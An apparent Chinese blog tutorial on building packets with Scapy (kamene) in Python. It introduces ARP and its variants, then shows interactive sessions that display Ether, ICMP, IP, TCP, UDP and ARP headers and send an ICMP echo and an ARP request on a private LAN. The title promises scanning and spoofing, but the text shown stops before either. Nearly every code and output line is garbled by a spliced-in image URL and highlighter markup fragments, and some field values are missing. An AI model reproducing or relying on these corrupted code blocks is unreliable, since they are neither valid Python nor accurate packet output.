ITPub博客

首页 > > > 用Python构造ARP请求、扫描、欺骗

用Python构造ARP请求、扫描、欺骗

作者:z_paul 时间:2020-01-08 17:17:03 0 删除 编辑

0. ARP介绍


首先,先回忆下TCP/IP模型,从下到上分为:数据链路层、网络层、传输层、应用层,那么ARP到底属于哪一层?有人会说是网络层,但实际是属于数据链路层,只不过还要为网络层提供服务。

ARP的主要用途是IP(32bit)地址到物理MAC(48bit)地址的映射关系。别看表面主机知道了远端IP地址就可以通信,实则先要知道远端的MAC地址(借助ARP),通过网卡到交换机构建数据链路层通信,再通过上层进行数据交互。

另外,你可能会了解到代理ARP、免费ARP、RARP这些,其中你都能搞明白他们工作原理是怎么样的嘛? 这里咱们简单回顾一下:

  • 代理ARP:一般路由器通常充当代理角色,代替远端主机响应本地的ARP请求;
  • 免费ARP:一种特殊ARP请求报文,用于检测IP冲突、硬件地址变更触发免费ARP;
  • RARP:与ARP相反,主要用于无盘工作站,请求物理MAC(48bit)地址到IP(32bit)地址的映射;

1. Scapy简述

Scapy是一个Python语言编写的工具,也是一个强大的交付式数据包处理程序,能够伪造或者解码大量的网络协议数据包,能够发送、嗅探、剖析和伪造网络数据包,如端口扫描、路由跟踪、探测、攻击或网络发现等。使用Scapy可以替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至可以代替nmap、tcpdump和tshark的部分功能。此外,Scapy还有很多其他工具没有的特性,如发送无效数据帧、注入修改的802.11数据帧、在WEB上解码加密通道(VOIP)、ARP缓存攻击(VLAN)等。

Scapy的主要功能如下:

  • Scanning(扫描)
  • Fingerprinting(识别)
  • Testing(测试)
  • Packet forging(包铸造)
  • Attacking(攻击)
  • Sniffing(抓包分析)

收发数据包介绍:

  • sr():发送三层数据包,等待接受一个或者多个数据包的响应。
  • sr1( ):发送三层数据包,并仅仅只等待接受一个数据包的响应。
  • srp():发送二层数据包,并且等待响应。
  • send():仅仅发送三层数据包,系统会自动处理路由和二层信息。
  • sendp():发送二层数据包。

作为网工,你是不是经常抓包来分析某协议头部结构,现在就可以用Scapy来构造发送数据包啦。

在python3的环境下,现在叫法是 Kamene,之前叫做Scapy。

2. Scapy简单演示

2.1 安装

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attribute">pip3 install -i https://pypi.douban.com/simple/ kamene	https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#使用豆瓣源进行安装kamene

说明:强烈建议在linux环境下安装及测试(我用的是ubuntu 16)。

2.2 构造包演示

2.2.1 进入kamene交互界面

#安装好后,直接通过kamene进入,类似https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">python交互式界面
root@ubuntu:~# kamene
WARNING: No route found https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">for IPv6 destination :: (https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">no default route?). This affects https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">only IPv6
INFO: Please, report issues https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">to httphttps://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-variable">s://github.https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">com/phaethon/kamene
WARNING: IPython not available. Using standard Python https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">shell instead.
Welcome https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">to kamene (https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">3.0.https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">)
>>> 

2.2.2 查看以太网头部

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">Ether()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta"><Ether  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">|>
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">_.show()	#'_' 下划线表示上一条命令执行的结果,通过show()展示结果
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ Ethernet ]###
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">WARNING: https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">Mac address to reach destination not found. Using broadcast.
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">dst= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">ff:ff:ff:ff:ff:ff
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">src= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">00:00:00:00:00:00
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">type= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0x9000

2.2.3 查看 ICMP 头部

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">ICMP()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta"><ICMP  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">|>
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">_.show()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ ICMP ]###
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">type= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">echo-request
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">code= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">chksum= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">None
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">id= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0x0
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">seq= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0x0

2.2.4 查看 IP 头部

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> IP()
<IP  |>
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> _.show()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ IP ]###
  version= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">4
  ihl= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">None
  tos= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">0x0
  len= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">None
  id= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1
  flags= 
  frag= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">
  ttl= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">64
  proto= ip
  chksum= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">None
  src= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">127.0https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">.0https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">.1
  dst= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">127.0https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">.0https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">.1
  \options\

2.2.5 查看 TCP/UDP 头部

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">TCP()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta"><TCP  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">|>
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">_.show()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ TCP ]###
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">sport= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">ftp_data
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">dport= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">http
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">seq= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">ack= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">dataofs= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">None
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">reserved= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">flags= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">S
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">window= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">8192
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">chksum= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">None
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">urgptr= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">options= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">{}
    
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">UDP()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta"><UDP  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">|>
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">_.show()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ UDP ]###
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">sport= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">domain
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">dport= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">domain
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">len= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">None
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">chksum= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">None

2.2.6 简单构造 ICMP 包

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#通过 '/' 可叠加多个协议层(左底层到由上层),如Ether()/IP()/UDP()/DNS()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> p = sr1(IP(src=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'192.168.8.128' , dst=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'192.168.8.254')/ICMP()/bhttps://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'This is a ICMP packet')
Begin https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-symbol">emission:
..Finished to send https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1 packets.
*
Received https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">3 packets, got https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1 answers, remaining https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number"> packets
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> p.show()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ IP ]###
  version= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">4
  ihl= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">5
  tos= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">0x0
  len= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">49
  id= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1909
  flags= 
  frag= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">
  ttl= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">128
  proto= icmp
  chksum= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">0xa088
  src= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">192.168.https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">8.254
  dst= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">192.168.https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">8.128
  \options\
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ ICMP ]###
     type= echo-reply		https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#收到一个replay包
     code= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">
     chksum= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">0x55ad
     id= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">0x0
     seq= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">0x0
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ Raw ]###
        load= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'This is a ICMP packet'

2.2.7 简单 构造 ARP 包

先看下ARP包的格式:

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">ARP()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta"><ARP  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">|>
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">_.show()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ ARP ]###
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwtype= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0x1
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">ptype= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0x800	#协议号
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwlen= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">6
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">plen= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">4
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">op= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">who-has	#op=1表示Request,op=2表示Response
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwsrc= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">00:0c:29:5d:2f:55	#源MAC地址
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">psrc= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">192.168.8.128	#源IP地址
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwdst= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">00:00:00:00:00:00	#初始目的为广播地址
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">pdst= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0.0.0.0		#缺省为空

简单构造 ARP 请求包:

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">p = sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">Begin https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">emission:
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">.*Finished https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">to send 1 packets.

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">Received https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">2 packets, got 1 answers, remaining 0 packets
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-meta">>>> https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">p.show()
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ ARP ]###
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwtype= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0x1
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">ptype= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">0x800
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwlen= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">6
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">plen= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">4
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">op= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">is-at
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwsrc= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">00:50:56:e7:d0:87
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">psrc= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">192.168.8.254
